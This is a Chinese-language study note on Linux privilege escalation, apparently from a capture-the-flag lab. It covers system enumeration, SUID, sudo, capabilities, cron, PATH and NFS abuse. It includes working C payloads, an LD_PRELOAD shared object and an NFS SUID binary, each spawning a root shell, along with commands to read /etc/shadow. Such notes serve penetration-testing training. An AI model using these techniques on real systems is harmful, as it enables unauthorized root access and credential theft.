枚举信息
hostname
hostname
命令将返回目标机器的主机名
unname -a
输出系统信息,提供有关系统使用的内核的更多详细信息。这在搜索可能导致权限提升的潜在内核漏洞。
/proc/version
proc 文件系统 (procfs) 提供有关目标系统进程的信息。
查看/proc/version
可能会为提供有关内核版本和其他数据的信息,例如是否安装了编译器(例如 GCC)。
/etc/issue
系统也可以通过查看/etc/issue
文件来识别。该文件通常包含有关操作系统的一些信息,但可以轻松定制或更改。
ps命令
ps
命令是查看 Linux 系统上正在运行的进程的有效方法。
ps
将显示以下内容;
- PID:进程ID(进程唯一)
- TTY:用户使用的终端类型
- 时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
- CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
ps常用方法:
ps -A
: 查看所有正在运行的进程ps axjf
:查看进程树(查看树的形成直到ps axjf
下面运行)ps aux
:aux
选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在的漏洞。
env
env
命令将显示环境变量
PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。
sudo -l
目标系统可以配置为允许用户以 root 权限运行一些(或全部)命令。sudo -l
命令可用于列出用户可以使用sudo运行的所有命令。
ls
ls -la
查看隐藏文件
id
id
命令将提供用户权限级别和组成员身份的一般概述。
/etc/passwd
读取/etc/passwd
文件是发现系统上用户的一种简单方法。
使用 grep 查找“home”,因为真实用户很可能将他们的文件夹放在“home”目录下.
ifconfig
目标系统可能是另一个网络的枢纽点。ifconfig
命令将提供有关系统网络接口的信息.
ip route
查看存在哪些网络路由
netstat
netstat -a
:显示所有监听端口和已建立的连接。netstat -at
或者netstat -au
也可以用来分别列出 TCP 或 UDP 协议。netstat -l
:以“监听”模式列出端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用 TCP 协议侦听的端口netstat -tp
: 列出服务名称和 PID 信息的连接。netstat -i
:显示接口统计信息。netstat -ano
可以细分如下;-a
: 显示所有套接字-n
: 不解析名称-o
:显示计时器
find命令
find . -name flag1.txt
: 在当前目录中找到名为“flag1.txt”的文件find /home -name flag1.txt
: 在 /home 目录中找到文件名“flag1.txt”find / -type d -name config
: 在“/”下找到名为config的目录find / -type f -perm 0777
:查找具有777权限的文件(所有用户可读、可写和可执行的文件)find / -perm a=x
: 查找可执行文件find /home -user frank
: 在“/home”下查找用户“frank”的所有文件find / -mtime 10
: 查找最近 10 天内修改过的文件find / -atime 10
: 查找过去 10 天内访问过的文件find / -cmin -60
: 查找在过去一小时(60 分钟)内更改的文件find / -amin -60
: 查找最近一小时(60 分钟)内的文件访问find / -size 50M
: 查找大小为 50 MB 的文件
可以写入或执行的文件夹和文件:
find / -writable -type d 2>/dev/null
: 查找所有可写文件夹find / -perm -222 -type d 2>/dev/null
: 查找所有可写文件夹find / -perm -o w -type d 2>/dev/null
: 查找所有可写文件夹find / -perm -o x -type d 2>/dev/null
: 查找世界可执行文件夹
查找开发工具和支持的语言:
find / -name perl*
find / -name python*
find / -name gcc*
查找特定文件权限:
find / -perm -u=s -type f 2>/dev/null
: 查找带有 SUID 位的文件,它允许我们以比当前用户更高的权限级别运行文件。find / -user root -perm /4000 2>/dev/null
自动枚举工具:
- LinPeas:https 😕/github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum:https 😕/github.com/rebootuser/LinEnum
- LES(Linux Exploit Suggester):https 😕/github.com/mzet-/linux-exploit-suggester
- Linux 智能枚举:https 😕/github.com/diego-treitos/linux-smart-enumeration
- Linux 隐私检查器: https 😕/github.com/linted/linuxprivchecker
权限提升:内核利用
- 识别内核版本
- 搜索并找到目标系统内核版本的漏洞利用代码
- 运行漏洞利用
权限提升:Sudo
sudo -l
任何用户都可以使用该命令检查与 root 权限相关的当前情况。
https://gtfobins.github.io/是一个有价值的网站,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。
利用应用程序功能
某些应用程序不会有已知的漏洞利用。
例如,Apache2 有一个支持加载替代配置文件的选项(-f
:指定替代 ServerConfigFile)。
使用此选项加载/etc/shadow
文件将导致包含/etc/shadow
文件。
利用 LD_PRELOAD
LD_PRELOAD 是一个允许任何程序使用共享库的函数。
如果启用了“env_keep”选项,我们可以生成一个共享库,该库将在程序运行之前加载和执行。
这个提权的步骤可以总结如下:
- 检查 LD_PRELOAD(使用 env_keep 选项)
- 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
- 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
将此代码保存为 shell.c 并使用 gcc 使用以下参数将其编译为共享对象文件
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
现在可以在启动用户可以使用 sudo 运行的任何程序时使用这个共享对象文件。
例如find
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将导致生成具有 root 权限的 shell。
权限提升:SUID
find / -type f -perm -04000 -ls 2>/dev/null
将列出设置了 SUID 或 SGID 位的文件
将查找出的可执行文件与 GTFOBins ( https://gtfobins.github.io ) 进行比较。
权限提升:Capabilities
系统管理员可以用来提高进程或二进制文件权限级别的另一种方法是“Capabilities”。Capabilities有助于在更精细的级别上管理权限。例如,如果 SOC 分析师需要使用需要启动套接字连接的工具,普通用户将无法做到这一点。如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的能力。结果,二进制文件无需更高权限的用户即可完成其任务。
getcap
工具列出启用的功能。
当以非特权用户身份运行时,getcap -r /
会产生大量错误
因此最好将错误消息重定向到 /dev/null
getcap -r / 2>/dev/null
如果我们找到任何设置的Capabilities,可以查找GTFObins来提升权限。
权限提升:Cron Jobs
Cron jobs用于在特定时间运行脚本或二进制文件,默认情况下,它们以其所有者而不是当前用户的权限运行。
如果有一个以 root 权限运行的计划任务,我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行。
任何用户都可以读取cron jobs的文件,/etc/crontab
即使删除了定时任务脚本,但 cron jobs仍然存在。
如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。在这种情况下,我们应该能够在用户的主文件夹下创建一个自定义脚本,并且它由 cron 作业运行。
权限提升:PATH
如果用户具有写入权限的文件夹位于path中,您可能会劫持应用程序以运行脚本。Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置于 shell 或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中进行搜索。(PATH是这里所说的环境变量,path是文件的位置)。
例如执行thm命令
“path”将在 PATH 下列出的文件夹中查找名为“thm”的可执行文件。
如果在 PATH 下列出了任何可写文件夹,我们可以在该目录下创建一个名为 thm 的二进制文件,并让我们的“路径”脚本运行它。由于设置了 SUID 位,此二进制文件将以 root 权限运行。
权限提升:NFS
NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件是在 NFS 服务器安装期间创建的,通常可供用户读取。
此权限提升的关键元素是可以在上面看到的“no_root_squash
”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody 并剥夺任何文件以 root 权限操作。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。
枚举攻击机器的可挂载共享
showmount -e <target ip>
我们将把一个“no_root_squash”共享挂载到我们的攻击机器上并开始构建我们的可执行文件。
由于我们可以设置 SUID 位,因此将在目标系统上运行 /bin/bash 的简单可执行文件。
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
`
gcc nfs.c -o nfs -w
编译代码后,设置 SUID 位。
chmod +s nfs
运行nfs文件后,可获得root shell